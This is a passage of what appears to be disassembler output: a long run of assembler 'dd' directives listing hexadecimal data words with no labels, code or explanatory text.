887430A8h, 72688C3h, 918ECC5Eh dd 0AA0CC068h, 950524CAh, 55915817h, 0BC18478Bh, 3B01C4B8h dd 278EFD5h, 32FD209h, 83A4910Ch, 3A1658A8h, 921764F8h dd 0C120B51h, 0C71CB4BCh, 5F4B0EDCh, 9CB60253h, 0C69FF47h dd 2C302B0Ah, 5758E93h, 0F8D705C6h, 6C7AEBF2h, 1055790Eh dd 6C977BE1h, 0AC9C2E19h, 0CAC10DCh, 0B144A32Fh, 712E37B0h dd 6DBF22E0h, 7CE34EA8h, 1C471A7Ch, 0E8561805h, 0C000CD2Dh dd 1D0F4487h, 0F08C7627h, 90FB07ACh, 0B440EE11h, 2AD7046Bh dd 5588A4CEh, 588154C4h, 280123F4h, 5171F897h, 0CD976498h dd 0BE62C030h, 0F313718Fh, 88949940h, 6546EFFh, 290F9D42h dd 1441E06Ch, 0A4AAF04Fh, 8C2FE8h, 13547C61h, 7780F15h dd 1A013102h, 7DC65B46h, 52DB8A2h, 11F8B557h, 0EB95802Fh dd 50FC458h, 3D54E7C6h, 97D8C13Bh, 4FD86D36h, 8076B8E5h dd 5010EFE3h, 191C3D2Bh, 35C4448Dh, 28BC78h, 5D17364Bh dd 49BC1524h, 9284A430h, 0ADC884EFh, 7E2B17B4h, 1DB248B3h dd 78AE8330h, 80045881h, 6B21403Eh, 56FC6710h, 0C332028Ch dd 0A6B398C0h, 0F1831CFEh, 755E73D7h, 0D37129h, 0A3DF89DAh dd 0E124F8ACh, 5423472Eh, 0DCE9151Dh, 0D405982Ch, 8430CA9Eh dd 122BB58Ah, 0F373712Ch, 0BA400238h, 6CD40F29h, 53B490BCh dd 0E44AE07Fh, 4713EAF8h, 0C0D13F27h, 25022E50h, 12E86A07h dd 0B038E660h, 0B0911993h, 80E91278h, 0B2E4E669h, 0E72300Fh dd 0B0FC6D07h, 0B9EDA612h, 90FC802Bh, 0A7223A8Ch, 0B18A000Ch dd 71041059h, 3599885h, 0DB052720h, 5660D84Ch, 82448000h dd 3CA5F2FFh, 0ECE2958Ch, 7CB7DFh, 6DBE394Bh, 0EB1D1D44h dd 984362B7h, 0C29024D8h, 587C7B61h, 42014DB5h, 0E7313AE6h dd 6ED4C245h, 0B7231661h, 0EECF8E4h, 42A9BC16h, 0DE589B98h dd 23467608h, 0B6D25900h, 0A23B43EBh, 0E35E88E6h, 80D5E8C3h dd 4A209D91h, 0B270B322h, 0BA4A301Ch, 62EAF500h, 0F3750833h dd 0D49D95F0h, 2C803611h, 31F68F8Dh, 0CC00C15Eh, 0ED60663Dh dd 169B011Dh, 0BB98BF5Bh, 2EB02137h, 0F7802CDBh, 0D203418Eh dd 468C4409h, 8947C67h, 0D7052488h, 0B8ACB391h, 7A08E24Fh dd 0B6248109h, 0D3A2002Dh, 0B3FA104h, 0C51FD965h, 78598389h dd 33184CD9h, 0D6A87E00h, 0E0594F5Ch, 14DF0541h, 0FB0335C1h dd 323DC3Ah, 0CDE77600h, 128267E3h, 0C83079D0h, 0A2004AF8h dd 0FD6FFAFCh, 982B41BAh, 80F05538h, 0C890CB3Fh, 7F00C908h dd 0F010F793h, 0BF098198h, 0D9CF8A90h, 181CD9D8h, 0CDE21F04h dd 825B4520h, 76C44039h dd 0D9563134h, 0ADBA9200h, 1737489Eh, 0FFB600EEh, 15E00506h dd 0C225EAE8h, 97DC7B89h, 0F6A856FCh, 0FE98E084h, 8EE8038Dh dd 0F9A3D15h, 8480B14Eh, 2D09BCB6h, 0AC172560h, 0A3802391h dd 5787228h, 8D0C4402h, 0D7C41C16h, 0F4CFB083h, 416B098Ch dd 0ED93D7Ch, 0C9ED4040h, 7A1502E5h, 0F1E6264h, 0A6048050h dd 4449A726h, 9A9474EAh, 3F61C024h, 3A3C4025h, 9008E21Ch dd 85077DCBh, 80C3FD91h, 6D302F58h, 4B0E50A0h, 375B4130h dd 0F3A024B7h, 0D9026C24h, 3D0A7E54h, 67F456A4h, 2C3EA870h dd 0BC602C9Eh, 7E926494h, 59A40077h, 8291F360h, 817E44DFh dd 50E6875Fh, 6E7969F0h, 30910A00h, 9C0DA82Dh, 1AC7259Fh dd 68CB2881h, 2F5068B3h, 144495h, 5CF98B7Ch, 7433664Dh dd 0E1BC5D0Ah, 5605D81Ah, 20E2BA4Ch, 3B300BF2h, 914501B9h dd 0B244169Eh, 64352F67h, 3FB918BDh, 0C82B8C99h, 3C7F8A9Ch dd 1D13AC1Dh, 28F19F93h, 203FF4h, 0B0DF38BFh, 0DE15C7F5h dd 96E0A097h, 7E09EB4Ch, 644C9795h, 7461C0Bh, 0E2587424h dd 64D405BDh, 68F70E3Ah, 6CAD52FAh, 0BA7F6EBCh, 161B5F16h dd 0E7884CE9h, 0D23A4B80h, 40E3E19h, 98C3AAB5h, 440FEF93h dd 0B43CF6Fh, 69506077h, 68C30D3Bh, 0EC104B9Bh, 0E6254D11h dd 4600D236h, 0A37317F3h, 5A03B8D0h, 5D240043h, 659A20A2h dd 911649A4h, 58BC6D98h, 0C4974381h, 24203F12h, 60C380BEh dd 824A707Fh, 651692C7h, 0FCAC4459h, 0C0C39782h, 0A0D50703h dd 4EE9ECh, 0BEE131B2h, 8E9B914Ch, 48DABF02h, 230C3C24h dd 0FAC4EF90h, 0F798B046h, 4A927CF9h, 91E000A4h, 7C9B17B0h dd 0A14A9A05h, 4BA4641h, 0AF02924Ch, 825DEC48h, 11A4ACDCh dd 81383C02h, 126CDF34h, 36E3D00h, 24EB250Eh, 442A8914h dd 12003A0h, 5DE77849h, 5007882Eh, 8EB08D0Bh, 70C688Ch dd 491FBE1Ch, 1150B45Eh, 0D0E581AEh, 1A443C75h, 61370E17h dd 85E0DC8Ch, 0FD862659h, 0B90231FCh, 0BE142E9h, 0E07AE3h dd 581D3998h, 635B345Dh, 8F001FE2h, 0C604ABDAh, 25B82920h dd 501D61E5h, 7B801E11h, 7C8F43AAh, 9C02889Ch, 52303747h dd 0A46C44FCh, 3904D00h, 0E1F3EA86h, 0E3A0C61Fh, 618A915h dd 0D762CBF6h, 0DFA603F7h, 7BF18711h, 8F7749A8h, 0F0DDC012h dd 3A26CCBCh, 26326190h, 0CE286467h, 0A59F6098h, 0A824F11Ch dd 8D8888ABh, 2F322600h, 0FCDCC53h, 169C00A3h, 7FAF706Ah dd 173E9BE4h, 1B4CC64h, 0F94AFBDAh, 49929009h, 0DD3CF3CAh dd 850F8C29h, 2B92C0ACh, 1EB41A0h, 29619199h, 0E8ADF287h dd 6701A35Ah, 30DF936Fh, 8D6E68F8h, 0D3883828h, 0CB0078F2h dd 0E690F7B5h, 7EC0752Fh, 0EC68DE2Bh, 0B971892h, 0BF2230C5h dd 0FC384C2Eh, 0D9BEE443h, 894EA08h, 0CA745C90h, 12DCDD10h dd 0C03EAAF0h, 2F250E23h, 8360A224h, 4498DC5Fh, 0A7EA44F0h dd 29A0E3C6h, 3A493B1h, 32A34612h, 79DE1825h, 33C70228h dd 0B8DEF4EEh, 87A4640Eh, 5D06989h, 5E60BE8Bh, 7420209Bh dd 2F846B02h, 3879C7ACh, 441850D9h, 12E6D63Bh, 0E4952515h dd 29148C82h, 0DF40A856h, 512536Ah, 0B7661ED4h, 60CF820Ch dd 24549957h, 791AFE02h, 1834590Ch, 0F21800F8h, 0FADC918Bh dd 0E5B51A4Ah, 0EB808B8h, 1AB66200h, 2A93D1D8h, 5A8C0CF7h dd 6BE4B16Ah, 0AFA5A080h, 0A01B6998h, 2303D456h, 2D43FF88h dd 5C781350h, 9885EF4Eh, 0BEB84CB9h, 0D0E81516h, 0C4919C1Eh dd 0A993D0Ah, 405D44A4h, 210E9EFEh, 6F90725h, 0C1D3A048h dd 0C144DDEAh, 0CE72A29h, 9AD774A2h, 40B7F774h, 1079D24h dd 0E86050ABh, 52BEC62h, 5813F2FDh, 0FC588847h, 32DFA710h dd 9441717Ah, 90652F54h, 806002E4h, 0E6749BFDh, 0DB70B216h dd 0A2A79804h, 79E9EF00h, 0AA02F043h, 71385462h, 807E57h dd 7F2EEB48h, 0FF2FFE1Bh, 61C8ED3Ch, 2AF1DD61h, 2CA23474h dd 7D3053B2h, 0EB780497h, 0FF372D1Bh, 852ACC30h, 97DA1202h dd 0D6E4B94Ah, 4EC8A8CAh, 3E70EBC0h, 0A9F00003h, 0CC7E7D44h dd 809FC7E0h, 0CB47F27Ch, 0F8969525h, 4398CDB7h, 1C89AF0Eh dd 0F856DE43h, 14EDE264h, 0A36513h, 38BF59ADh, 0EE0017E9h dd 7E0BD823h, 4B90189Eh, 0E4A8803Bh, 92166A0Ah, 544407BFh dd 0CA404058h, 332215C4h, 100A30A1h, 0E05F8Dh, 0A8EAB6E8h dd 718E67D3h, 9D006979h, 0B126BBA1h, 95C473F3h, 747CF4CAh dd 413E00F4h, 0F5D50982h, 8D008BDBh, 56BF6787h, 9791A295h dd 90435410h, 0B45AAB2Eh, 44A9A096h, 6A009CB8h, 511E507Fh dd 3759E824h, 10F91F41h, 158EE31h, 926D70C1h, 823E5747h dd 1466DC74h, 0E7202898h, 4221737h, 0B9D0F91Bh, 1C4C1E8h dd 99BBE2Ch, 0EC441663h, 0D82ED7B5h, 2860AC11h, 0A57114h dd 40C2247Dh, 8D1F5B1h, 3ED71F00h, 1EBF7D9h, 0D4E0B56Dh dd 361FA78Dh, 0EAD27213h, 9C1423AAh, 0C1679D0h, 17484107h dd 0BB491Fh, 7BDE3075h, 0ECEE1F3Bh, 934D752h, 5CFCB462h dd 98BC25DCh, 3159307Bh, 21011518h, 0CAEBCF26h, 0D88E1A02h dd 99C0D538h, 659D3B54h, 0EF006273h, 1D291B48h, 9F393018h dd 0B5C0D0EDh, 28D594h, 0CB4BB38Ch, 90B2B98Ah, 9811C99h dd 45736021h, 4B274024h, 0C834E137h, 88289197h, 5911DC7Bh dd 0B9051BBCh, 1EFEFD45h, 0C46A84CCh, 2528ECE5h, 0D60456F0h dd 0AF0D4100h, 3C803474h, 0E0DCF8B1h, 0FA0C1F8Dh, 0CF60CB0Ah dd 7D010858h, 4D4A910Bh, 0B4365AD5h, 0CE790900h, 62640DE5h dd 6B30D004h, 6CF6F0C4h, 95AA41E0h, 0E044301h, 7EEF8019h dd 0C4DC1400h, 491818BDh, 0F016972Fh, 4E0C195Ch, 25E40091h dd 2030DC2Bh, 0F8E949D6h, 0A100EEB8h, 3A5054D8h, 0C04873C1h dd 4D955879h, 3E3C7ADAh, 0C5652514h, 0B0D19090h, 0B3AD715h dd 0E9273BA5h, 0BB59A074h, 7A4D190Bh, 21A02229h, 0B2EF518h dd 0B074CBB4h, 80A0792Dh, 928BDC0Ah, 70BEBFA7h, 0DCD47425h dd 0ACDD9D09h, 2574DECCh, 12440871h, 0B64EE4FCh, 0B282E37Ch dd 10945769h, 1817404Ah, 5DB8F8FDh, 9C0D4401h, 7C19492Ch dd 0A649D2Ah, 0C01C8854h, 0F98135DFh, 0A81E64B8h, 0F0DECE6Bh dd 66253326h, 9C97B5DCh, 0D860B91h, 0CD1C50C7h, 9784EB23h dd 60B92724h, 50E8E0D0h, 0CEBE008Ch, 0E102FFA9h, 0AAF824C5h dd 8C16CA12h, 4982CCA4h, 871F7C3Ah, 0AFEAC0A7h, 0AE9C8A11h dd 7D009FF2h, 0AB8F1F43h, 0D61488B7h, 0A8888598h, 5FAD8040h dd 0F54B4C0h, 168C3ACh, 0BF760801h, 0F43DCC14h, 71939112h dd 259C10F4h, 0D879C3A7h, 4BC2344h, 8044ECD7h, 262BEA4Fh dd 0F4B51522h, 9828C29h, 0B06498C3h, 402FCCB8h, 91AC1D1Ah dd 0AB418002h, 76BA71F1h, 231C0B6Fh, 40404B98h, 86252092h dd 0F4407E27h, 0B57E7500h, 0BC387850h, 8CDD0946h, 347B2B1Ch dd 0C08C6DAFh, 0ACF1DF40h, 2293F902h, 57354B1Bh, 426BC480h dd 0E797489Ah, 6031444Ch, 212D2D0h, 0CCBD807Ch, 407282C0h dd 8033C13Eh, 39CB32F4h, 32E5F3Eh, 7F380192h, 0C2C8456Dh dd 9713A3BFh, 0A0F427DCh, 0F6B9C059h, 9608F8D1h, 90B00D00h dd 751DD032h, 641C055Dh, 0CE2A1A93h, 0C4028828h, 586CF6BEh dd 4AE13930h, 1DC8648Eh, 0C0DF88C0h, 16E89E34h, 7B38A18Bh dd 0B5FCC8h, 9D7AC0D5h, 4D5D2DC8h, 520E6900h, 85D28BD3h dd 0BB4727FAh, 6F442448h, 8AC0A4Bh, 258C09ECh, 185022F2h dd 2383797h, 0A096160Fh dd 340824D9h, 0B4732D2Eh, 0E8185759h, 0FB084E6h, 0E52F6B25h dd 0CCD3A590h, 0AE4F50h, 31025ADAh, 0BBC2F674h, 79A17230h dd 2EF537h, 0FEC16198h, 0C22C918Ah, 26BF09Ch, 15F8718h dd 6ACDDD9Fh, 89CE18C0h, 0F8B59FF0h, 0EA62DA87h, 2BE01F70h dd 507662BFh, 40FC3FD1h, 7DE48A80h, 0ECCE279h, 0B7D633FAh dd 1B8FF422h, 8200455h, 23B46BAFh, 792D0E1Ch, 3A02BA13h dd 60C412B5h, 97F028A4h, 0C84008EFh, 2DDC5241h, 34D966F4h dd 4B483047h, 4050685Bh, 41D70720h, 0BFF1DA2Ch, 8DF9321h dd 3C8B2E14h, 0A1CCA64Bh, 4BC05B1Ch, 78C42756h, 923C0446h dd 3408ABF7h, 0CAB29001h, 8428E388h, 5200204Fh, 0D1001BB3h dd 5845D8BFh, 5BAE4E7Dh, 2104B789h, 1435A709h, 206F1207h dd 0D3004C67h, 1C0987h, 0D7E92A8Dh, 778F9256h, 0EC0C2D59h dd 629700CFh, 507FBBCCh, 0C3020161h, 0E0B8524Bh, 0B6856CBh dd 0F4749C7Eh, 0B776A58h, 0C4AFA307h, 90486C5Ch, 0FF144641h dd 0ED087FCh, 991F2338h, 0BA947204h, 0ACDD0C01h, 706437E4h dd 50ED9F4Bh, 0C0089EC0h, 0E1AE12A3h, 0A8EF091Eh, 12B0D479h dd 21E932h, 41B9BA74h, 9AD72CC3h, 91E017BFh, 3498824Dh dd 2217C08Ah, 0B0943012h, 4BA79248h, 0C42C089Fh, 48B72Dh dd 0B17F0B44h, 653C6E3Ah, 8F340ADFh, 0A7059080h, 65BA2EB3h dd 0A894F990h, 0FC2F0440h, 0AEDA6C7Ah, 90E70020h, 0FA450051h dd 0ED6389A6h, 1A16DC36h, 0B8B8C26Dh, 0BCF8A94Bh, 7B4B24ECh dd 8C792D91h, 4284071Eh, 40C55362h, 146EBFh, 9F5470B5h dd 952115D6h, 7D1124E6h, 0DE8357FBh, 8789A7BCh, 0F01876C4h dd 399A0EC5h, 0A8263F9h, 0F380BEF8h, 9BC82277h, 0D6885661h dd 554E5202h, 820F03FFh, 291A7FF0h, 7734B957h, 1BC0D869h dd 0E551D37Ch, 86191113h, 34D9C900h, 3EF305F6h, 3C8022BEh dd 45B9D4C8h, 0E497D76Dh, 0BD511678h, 0D1F30538h, 85D8B859h dd 0C88A1A7Bh, 0BDCC885Eh, 0CE354E00h, 4B79855Ah, 1520064h dd 98B49EA6h, 0EF269177h, 6D84A00Ch, 40BC673Ch, 1FD401E3h dd 50402426h, 0BB51081h, 0F0C2D0FFh, 46091C37h, 0A5287901h dd 2140DC50h, 0A8E29519h, 254377Dh, 1A4376D3h, 0E8CD91E0h dd 0E58104BEh, 4C9265AEh, 4B9C66F4h, 0FEF4952Fh, 0B81CD06Eh dd 2DD7281Fh, 0E879D4BDh, 45D0DC8Fh, 9CBD3C05h, 0E0CC2BADh dd 0DC31042Ah, 0EA68CA89h, 0D4DB5094h, 0FA20C7C4h, 69ADD005h dd 0B4A7A483h, 0AC7C7204h, 0AF44095Ch, 1E60F88Ch, 12220A77h dd 396C4070h, 269559FAh, 433B6E0Eh, 38F07368h, 3D0B09C1h dd 9C740D9Ah, 2883F784h, 812888AEh, 2CC8C897h, 46E21CE7h dd 1F36006Ah, 0DD1B968Dh, 15C6790Ch, 4A93126h, 0F63B6441h dd 5AA4B8A8h, 0C084ECE1h, 0AF1CE146h, 97234C07h, 1610C139h dd 4185ABD9h, 0F85F1EB2h, 8041C330h, 0AF10E0Fh, 58FBCCCEh dd 0CF9154E0h, 10CB6070h, 0FCDC44E3h, 0D84058C9h, 0C183F10h dd 2110E314h, 0A5CB00C7h, 2C439290h, 6609E168h, 12D33F1h dd 278C471Ch, 0A1E4D26Bh, 8A256501h, 68604421h, 9733024Fh dd 5A1B903Eh, 8BDEA04h, 909D4122h, 0EE64A0h, 0F03E6E2Fh dd 1D74CBEDh, 7C992A01h, 0AD53FE37h, 0E060033Ah, 0C13D0ADBh dd 60409291h, 9006ECE9h, 0E81CD0DFh, 2D62643Eh, 1104D199h dd 0D8925EFFh, 41A424Fh, 78C1CC18h, 220034BBh, 3840B0B7h dd 0DF910CC7h, 4A281A88h, 0BAC3E0Ch, 1CAB9E3h, 0C530BF90h dd 78100F39h, 268317A8h, 9E24F8D0h, 9DC14BF7h, 0BCC038E0h dd 35008C08h, 419391D6h, 9D3B4320h, 0B4B32C78h, 0F7478h dd 3FCC0B56h, 129DF7B3h, 7F681B09h, 0B08704Fh, 979CCF8Bh dd 0AD920CFCh, 0C85E38E2h, 78000D50h, 7B31FF22h, 2377092h dd 3471AB0Fh, 37FFF87Ch, 0C99D0720h, 10ACD229h, 0EA9FBC81h dd 94F02A48h, 0A2BD55h, 0B57D61B6h, 807C8EC8h, 0AEA255C0h dd 3A901569h, 0E2247490h, 51AF2C4Fh, 182F796Ch, 0E588007Fh dd 0A835FE09h, 0FF0B915Fh, 40778F9Ch, 0BF425E20h, 9F609CEFh dd 3A1A2580h, 3BA740CBh, 0EE3A1002h, 41F020DDh, 845D7388h dd 0D41496h, 0BC43969Eh, 0ACC9FF0Dh, 7C840A5Bh, 9C08CB8h dd 0AA636043h, 958A68C7h, 625BBF52h, 56945C66h, 7CED3C4Bh dd 0B4001FACh, 0FD0177BEh, 5DCF0F4h, 15963A8Eh, 4060BBA9h dd 0EA92AEh, 0D0FE346Ch, 16856EBEh, 21528A31h, 203BCE09h dd 0D0A40A00h, 6F14BA0Fh, 2FBB00FAh, 0BA63D2Eh, 0EB2AA352h dd 479A7800h, 2C9C3F33h, 3AAE942h, 57B12BEFh, 0BCD17EE0h dd 58716AA9h, 91F86180h, 4458DA01h, 0BC130D00h, 937BEDE2h dd 0CF460355h, 97253622h, 1B5F967Eh, 0D8B8B812h, 4F4107C0h dd 78918B05h, 1260B4D3h, 9E012ABAh, 0D7F089E0h, 0B02B6A3Dh dd 0F6BB8C0h, 0C4986671h, 0ABA60BE1h, 9182D09Eh, 0B05E4AF3h dd 0C4C10A64h, 0E32B0E34h, 300DB2B4h, 4F045BBCh, 9C3A97FCh dd 1AC110E8h, 10BE2714h, 18396664h, 411DE0C0h, 1200C190h dd 714528B3h, 12176196h, 0BCC27B09h, 0C06E5A88h, 5A7016h dd 0D74F617h, 6013C6CCh, 0E0914F8Fh, 4A002458h, 0DC0C0E44h dd 0B02084ACh, 5952021Dh, 0A90BD046h, 43798CD3h, 56EA3031h dd 607E52E0h, 805109DCh, 5C5E740Ah, 40F84F2Dh, 0EDDA92BCh dd 9BF02C12h, 58A843EBh, 294C1942h, 1ACF11B8h, 0BD984717h dd 208A9754h, 0D0C04DC8h, 154F98Ah, 9DBC53AFh, 404159E1h dd 0EF961C38h, 13540h, 55B9D98Dh, 692EEB4Bh, 19730712h dd 96E0D0F6h, 1B04F416h, 3CFFD748h, 4DA040FAh, 202CBBA8h dd 86D0A007h, 0B2744E7Bh, 3204DDABh, 3035E204h, 742E3328h dd 202FC477h, 1CBFC748h, 3C70B878h, 1384738Dh, 404D8EEh dd 0E4BCE8E3h, 48C04C48h, 6A80B010h, 32FA790Eh, 517180BBh dd 87E9D6h, 9ADD17B6h, 0B7279160h, 9294E89Fh, 0CBE11704h dd 0F838B80Fh, 73008C02h, 0F23F3228h, 270DB118h, 40E89D3Dh dd 782CCE38h, 68826802h, 57E4EDA3h, 28E00CEDh, 6548835h dd 4559E3CBh, 66B78913h, 974213B4h, 894E9F4h, 13CBB38Fh dd 4DDD0707h, 3775C923h, 0BA7612E8h, 0FCFCB416h, 0C46DDC27h dd 4987114Eh, 0BDF4704Eh, 953C3970h, 2A12FDD0h, 5405CAEDh dd 943A1B04h, 7A001F23h, 6040F411h, 80A74B93h, 3F76D0B0h dd 7290D60h, 7A3D3ECh, 6A8DB438h, 0D771D364h, 96B8EDDBh dd 92EADC9Ch, 0C24F4712h, 8B8898A4h, 345F97F9h, 903B0154h dd 6A487237h, 0F555C098h, 124D34Ah, 88368F8Ch, 2AD1B4D7h dd 0F7D60C8h, 66070B7Fh, 4F89EAC0h, 0A203BEECh, 3EA468EEh dd 0C22AF045h, 1C379530h, 0C5399B00h, 30AE56Ch, 0F92B917Eh dd 3F24EECh, 5B6B945Eh, 0F441719Ch, 7B0261FAh, 15C707BFh dd 0E05AD8h, 11890A8Ch, 2613CE7Eh, 878206FEh, 0FC0BDAE4h dd 0E4ED4918h, 771BF6C0h, 8088B1B4h, 0ADF54B74h, 9609A699h dd 856E5D9Bh, 12ABE828h, 12A8E378h, 1CA44858h, 0B48F5C16h dd 60E296h, 0A0D4C520h, 48B62ACh, 0EBB16FE7h, 50DAEF3Ch dd 0A24FAC0h, 800F9B43h, 0DF4DF85Bh, 0A94B0210h, 64A64A20h dd 72FA66F0h, 0C9142012h, 82409FAh, 0BB0884D9h, 792D34h dd 233F6A44h, 0AFB20034h, 0C4CE1199h, 2AC8194Dh, 403BA812h dd 0C9C10077h, 0D7D8DD78h, 0D6265850h, 3C790A2Dh, 931809D9h dd 2A8F960Fh, 0EF91A285h, 84F478h, 5A16F77Ah, 0D995DBCAh dd 2D7E6470h, 0B02B19D5h dd 664AA960h, 61DCCCF2h, 0EBD50261h, 212D289Ah, 42DD1803h dd 0C679491Dh, 3CA28813h, 4A92CB09h, 0E8227804h, 8C1CBCD8h dd 0BDF7F4E1h, 0A54D6205h, 6CAC0A2Bh, 8E16C9C1h, 0DA7A0DFDh dd 0B31B83DCh, 0DFF7C850h, 2C24B386h, 10A038F0h, 18479A26h dd 0FAA8844Bh, 8048BC56h, 0D1AC8993h, 796700D8h, 5F69968Ch dd 0B07BB409h, 4E183925h, 9CD39530h, 7348A450h, 0A0CF0018h dd 45D3DF99h, 8EA235E8h, 1D13ECF6h, 0BD7874C8h, 0C8E2A805h dd 9B006D9Ch, 3483EBF6h, 0ECC2DC23h, 959471DDh, 0D5D844DBh dd 42D0040Ah, 0BC9803F6h, 0AC28D1F8h, 315D0298h, 0E8CFEDD5h dd 0D7E090DFh, 0A13700C6h, 4FDC7380h, 0C100AAD9h, 9CB4D470h dd 7D79BF5h, 0F04CA645h, 603E613Fh, 5AA038CFh, 7B3E84B1h dd 18D500FCh, 38963D89h, 1C4D978Ah, 7E613764h, 8CF07040h dd 9B68BE12h, 0D8B30C17h, 323019A2h, 4CCF2791h, 0EEB52050h dd 0C434A530h, 0A2B96020h, 0E4A50037h, 24DB8AC2h, 3DFFCB9Eh dd 5F801118h, 0F8FCC95Ah, 4207A45Eh, 0C46759D4h, 34BA6844h dd 0B850A96Ch, 33F7FD5h, 0F7CDA471h, 0F3C469C4h, 0EF92058Ch dd 0C400F3B8h, 0A40E6549h, 0F8EC4EAFh, 0EC4AF4h, 0B844FD4Ah dd 8A56009Dh, 0EF8F616Eh, 500477F6h, 3AE3BF9Ch, 5F008BAFh dd 50A7D4E6h, 4844ADA7h, 0A08A162Fh, 2E4B0758h, 9743E8DCh dd 98BB7844h, 1ED3DC70h, 4991E817h, 885361B6h, 1221F578h dd 0E9DE5B53h, 0ACACD168h, 0ACA70098h, 7EDCD4DFh, 0F8001B13h dd 28CB75A4h, 97A9FAEAh, 7BFD8BFh, 21D038EFh, 9C8E0CE0h dd 0D7930BE7h, 9C2E1DC8h, 751AD8C0h, 592EE1C6h, 5A10841Bh dd 808B3E88h, 818EDDh, 0CAF4A060h, 0CF61265h, 4C41BB72h dd 0F2744DA4h, 585C303Ah, 91C91849h, 0C0455C9h, 0C68CBCC2h dd 211CE2h, 5F7E62D6h, 0BC61A547h, 70E4FF48h, 571062B7h dd 0E590B445h, 23142ED2h, 0B05F0022h, 16F16FB3h, 0A87447FAh dd 0DFF8E89Dh, 7A19803Dh, 0EF41D501h, 5821913Eh, 0AF2CC43Bh dd 73F0840Bh, 70D5581Ch, 0AAC2342Ch, 98E52B3Fh, 35908831h dd 1B5E5308h, 908B044h, 99E0D70Fh, 1226F11Dh, 14DA6D4Eh dd 97C050C8h, 0A1F715EFh, 0C2470CCh, 0ECE1BF78h, 4908003Bh dd 46572660h, 3C042F34h, 40452B8h, 0CBAEC5C7h, 50F94F9Ch dd 3006BA8h, 37922984h, 254A5953h, 90E29A3Ah, 0C0D84D75h dd 0C0E61314h, 5BF39016h, 0F91B00E4h, 0DA684301h, 4C4BB4F8h dd 410BBCCAh, 7C400380h, 0D85BB872h, 0F62AB4A1h, 9B75B004h dd 606E003Ah, 47FA88DDh, 0A099CA43h, 0DF149409h, 7200ACBDh dd 93CB8A53h, 94100F5h, 0DC171FE1h, 59E497EAh, 311D4534h dd 0B50820FFh, 0E00D6880h, 0F13B811Ah, 7A63C200h, 8CEA0075h dd 0A38B6E49h, 0DC12BB43h, 0DCC0F717h, 9797CDDDh, 22912017h dd 0A84F1F80h, 9FA51C5h, 0B903D19h, 4BC10221h, 0BDDC12F0h dd 0E8C098C2h, 0C8E11B09h, 4F587780h, 926480E4h, 3F44DF63h dd 0C4129DD6h, 0C78409FCh, 0F625DC7Bh, 5538D4A8h, 49B08253h dd 0E2D785B8h, 80E856B1h, 91FEE41Fh, 2F4C9E56h, 45811A4h dd 0F7069D12h, 0DF1CB0E0h, 348C10DDh, 0A7FC0513h, 0FCE9355Fh dd 0D41D1F22h, 51222A15h, 6E7B946Dh, 0B29005Ch, 4820C43Fh dd 0B8AD694Ah, 10B437F7h, 5D652441h, 5EBF6809h, 984125B8h dd 0E262DA5Fh, 1C0E8876h, 36ECD001h, 0BC91258Ch, 0ED9DB0D2h dd 0D47DE048h, 2507EDA8h, 66E4B4A5h, 0DBBC6020h, 619B2505h dd 4D61454h, 15725002h, 4AE4E424h, 450C5627h, 0BF491230h dd 3423DC3Eh, 978AF200h, 54DCEF93h, 1625A41Bh, 521CCF90h dd 0CB580494h, 0DD95025Bh, 18B07ECEh, 13E439D0h, 69207197h dd 3ED48076h, 96922B0Bh, 9854A43Ch, 0C3FF3F00h, 3D8E02A8h dd 2F6F3CC6h, 5F484C80h, 982645B9h, 0CEBE1C3Dh, 0E682E0C1h dd 8484B33Bh, 0A0138E70h, 0CE1F6734h, 421A612h, 1948144h dd 0E8EF91C9h, 6DC8A06Ah, 0EDD9D701h, 7E5D0521h, 44C157E2h dd 3A4C3DE2h, 316A802Dh, 0D97877DAh, 6D7A2DCDh, 0ADFEA4C4h dd 4DE08000h, 987E2E7h, 1907707h, 6D565067h, 280F9FF4h dd 54D94B7Ch, 3CB23Eh, 0E57C3FB2h, 38C07Bh, 5D608136h dd 0EB6C7079h, 0B4206CB8h, 0ED714E1Dh, 4CA997A0h, 2F1895B8h dd 0EF891B3Ch, 9FBA0001h, 39F5908Ch, 0E401D005h, 323D6D47h dd 206F86D1h, 0CF215538h, 99888C00h, 0ACE66E17h, 0AF02071Fh dd 4275F990h, 0C6001CECh, 9C232705h, 601904A4h, 2DC8ADEFh dd 67C010A9h, 9F90991h, 0AF7FF8B1h, 0C09484D8h, 0CAF032BFh dd 6B646474h, 0F353C15Dh, 809A1661h, 0D4CEEDC8h, 12293A6Ch dd 0E97BD360h, 0A43D1248h, 89EECC94h, 20A1304Ch, 39BA8114h dd 300770F8h, 87971E78h, 493F6BD1h, 0B8C4976Eh, 7627929Ch dd 492428A4h, 9027A4D8h, 0ECC714A0h, 8F38882Bh, 0C141395Dh dd 40D876E2h, 0D4CBE7C3h, 21DA4300h, 80F47925h, 71E2006Ch dd 0B58BE1F5h, 5B71362Eh, 0DC916EF3h, 0E13F0366h, 74233F4Ch dd 0C2C0DC4Ah, 0FCE6EEF9h, 5CAC12DFh, 74C89073h, 76003880h dd 0DB9EC344h, 0DC4A90h, 0C26CA979h, 5F210C0Eh, 31A27330h dd 18A8B5Ah, 10CE9458h, 23F8DD65h, 0DF1413D8h, 20F837BBh dd 20A4B723h, 538FC183h, 0BF94427Fh, 8C742F54h, 0C8AED744h dd 45846074h, 1C41F250h, 46240129h, 82181029h, 0BC8D717Fh dd 7C6B2502h, 0DC8F9792h, 4DAA1D50h, 6B692418h, 2738ECD2h dd 41C22614h, 86096F8h, 46AC9019h, 4E672578h, 8C9E7476h dd 9C58022Dh, 0A264809Fh, 0CF1F588Fh, 3FA947E1h, 0F750A874h dd 7CBDB554h, 8392DE04h, 7D0700EDh, 0D0D88C37h, 26E10829h dd 5D86A624h, 2E621903h, 80A0512Fh, 23683F3Fh, 7352609h dd 0EF8D5970h, 0C24BE93h, 4501D005h, 0B2AAC08h, 3D5DE96Ch dd 29388270h, 0B8764558h, 82D1D462h, 0DF61AED8h, 0E80F4B5h dd 4E7AF86Ah, 0ACD75CDDh, 85E86026h, 6EF02371h, 730101C4h dd 1278ACDDh, 0C312A82Dh, 82F8E925h, 7FC78823h, 733050E1h dd 3032B200h, 3105AC5Dh, 8021A0EEh, 9DB6B4A4h, 93C030F1h dd 0C7F94CCFh, 81C27AE0h, 3B0F6CF7h, 0D70018E6h, 0C6CFDCD8h dd 64B7DDE1h, 8004B53Ch, 0BCDC07C7h, 0DECB0D97h, 0D717DEBCh dd 38F48B16h, 0D93C6081h, 87FDAE83h, 614D1200h, 69D46072h dd 0ECB0C0CFh, 0DA985EEDh, 0C93465B7h, 0B45B0459h, 761C5B60h dd 